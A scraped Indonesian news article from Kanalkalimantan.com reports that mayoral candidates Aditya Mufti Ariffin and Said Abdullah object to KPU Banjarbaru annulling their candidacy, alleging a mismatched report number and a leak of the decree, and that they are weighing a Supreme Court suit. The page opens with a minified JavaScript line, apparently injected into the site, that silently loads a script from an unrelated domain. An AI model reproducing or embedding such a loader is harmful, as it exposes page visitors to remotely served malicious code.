(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Putusan Bocor Sebelum Diumumkan, Aditya-Said Abdullah Pertimbangkan Gugatan ke MA


KANALKALIMANTAN.COM, BANJARBARU – Sejumlah keberataan disampaikan pasangan calon (paslon) Aditya Mufti Ariffin dan Said Abdullah pasca terbit SK pembatalan sebagai peserta pemilihan Wali Kota dan Wakil Wali Kota Banjarbaru oleh KPU Banjabaru, Jumat (1/11/2024) siang.

Melalui kuasa hukum, Deny Hariyatna menjelaskan bahwa pertama pihaknya masih bertanya-tanya mengapa laporan atas nama Wartono yang dimuat sebagai dasar SK KPU Banjarbaru Nomor 124 menggunakan nomor yang berbeda dengan aslinya.

Adapun laporan yang disampaikan oleh Wartono langsung ke Bawaslu Provinsi Kalsel teregister dengan nomor 001/PL/LP/PG/Prov/22.00/X/2024. Demikian pula yang termuat di dalam surat pemberitahuan tentang status laporan itu masih menggunakan nomor tersebut.

Baca juga: Pencalonan Aditya-Said Abdullah Dibatalkan, Prof Denny: Lawan Putusan KPU Banjarbaru ke MA!

“Hal itu berbeda dengan yang kami dapati di SK KPU Banjarbaru Nomor 124 yang menggunakan nomor 001/PL/LP/PW/Prov/22.00/X/2024,” ujar Deny Hariyatna.

Secara hukum, katanya, karena laporan berkaitan dengan pelanggaran administrasi tentu pihaknya harus memastikan kembali bagaimana proses administrasi dari KPU maupun Bawaslu.

“Kami tidak tahu ini keputusan merujuk kepada yang mana, laporan soal Wartono itu asalnya bernomor yang mana, sehingga kami menganggap keputusan KPU cacat hukum,” tegasnya.

Poin kedua, Deny Hariyatna menjelaskan bahwa dalam SK KPU Banjarbaru Nomor 124 itu baru saja diumumkan pada Jumat (1/11/2024) sekitar pukul 14.00 Wita.

Baca juga: KPU Banjarbaru Sahkan Pembatalan Pencalonan Aditya-Said Abdullah

Namun, pihak kuasa hukum mendapati pada pukul 00.30 Wita dini hari, sebuah berita mengenai SK itu sudah ada dirilis dari sebuah laman media online.

Hal tersebut memperlihatkan bahwa informasi putusan (SK Nomor 124, red) yang dikeluarkan KPU Banjarbaru sudah bocor sebelum diumumkan secara resmi. Kuasa hukum Aditya-Said Abdullah mempertanyakan terkait dengan kredibilitas KPU Kota Banjarbaru.

“Kenapa hal ini bisa sampai bocor dan tentunya ini harus diketahui publik bagaimana kredibilitas penyelenggara Pemilu di Kota Banjarbaru,” imbuh dia.

Poin ketiga, pihaknya menyesalkan KPU Banjarbaru tidak melakukan telaah atau kajian ulang yang lebih konferhensif terkait dengan rekomendasi yang diberikan oleh Bawaslu Kalsel.

Baca juga: Tensi Pilwali Banjarbaru Naik, KPU Banjarbaru Dijaga Ketat

“Mereka hanya melakukan rapat pleno, sedangkan rekomendasi bisa dilakukan crosscek kembali, karena banyak hal di dalam rekomendasi Bawaslu Kalsel tersebut yang bisa dikonfirmasi ulang atau dicarikan bukti yang lebih lengkap,” jelas dia.

“Tapi itu tidak dilakukan oleh KPU Banjarbaru, sepertinya KPU menelan mentah-mentah, dan juga memberikan sanksi yang paling ekstrim, dengan hanya satu kali rapat pleno memutuskan pembatalan. Artinya KPU sangat ingin cepat-cepat atau tidak mengindahkan prinsip kehati-hatian,” sambungnya.

Ditambah kata kuasa hukum, tahapan dan proses pemilhan terus berjalan, sementara pihaknya selaku tim hukum menilai laporan Wartono memiliki banyak hal yang tidak sesuai dengan ketentuan hukum.

Masih menurut kuasa hukum, pasangan Aditya-Said Abdullah memiliki peluang untuk melayangkan gugatan ke Mahkamah Agung (MA), namun dirasa hal itu masih menjadi pertimbangan berat pihaknya.

Baca juga: WOW Day Hadirkan Keceriaan Anak-anak Prasejahtera dengan Tema ‘Lights of Hope’

“Kami masih mempertimbangkan karena rasanya seperti tidak bisa mempercayai penyelenggara pemilu yang seperti ini. Biar nanti masyarakat yang menilai kalau memang kami harus dibatalkan masyarakat Banjarbaru tentu punya hati nurani dan kami berharap masyarakat menunjukkan hal itu di proses pemilihan ini,” jelasnya.

Kubu Aditya-Said Abdullah menjadi sangat ragu dalam kontestasi ini, apabila memilih untuk terus ikut dalam pemilihan kepala daerah serentak kali ini. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.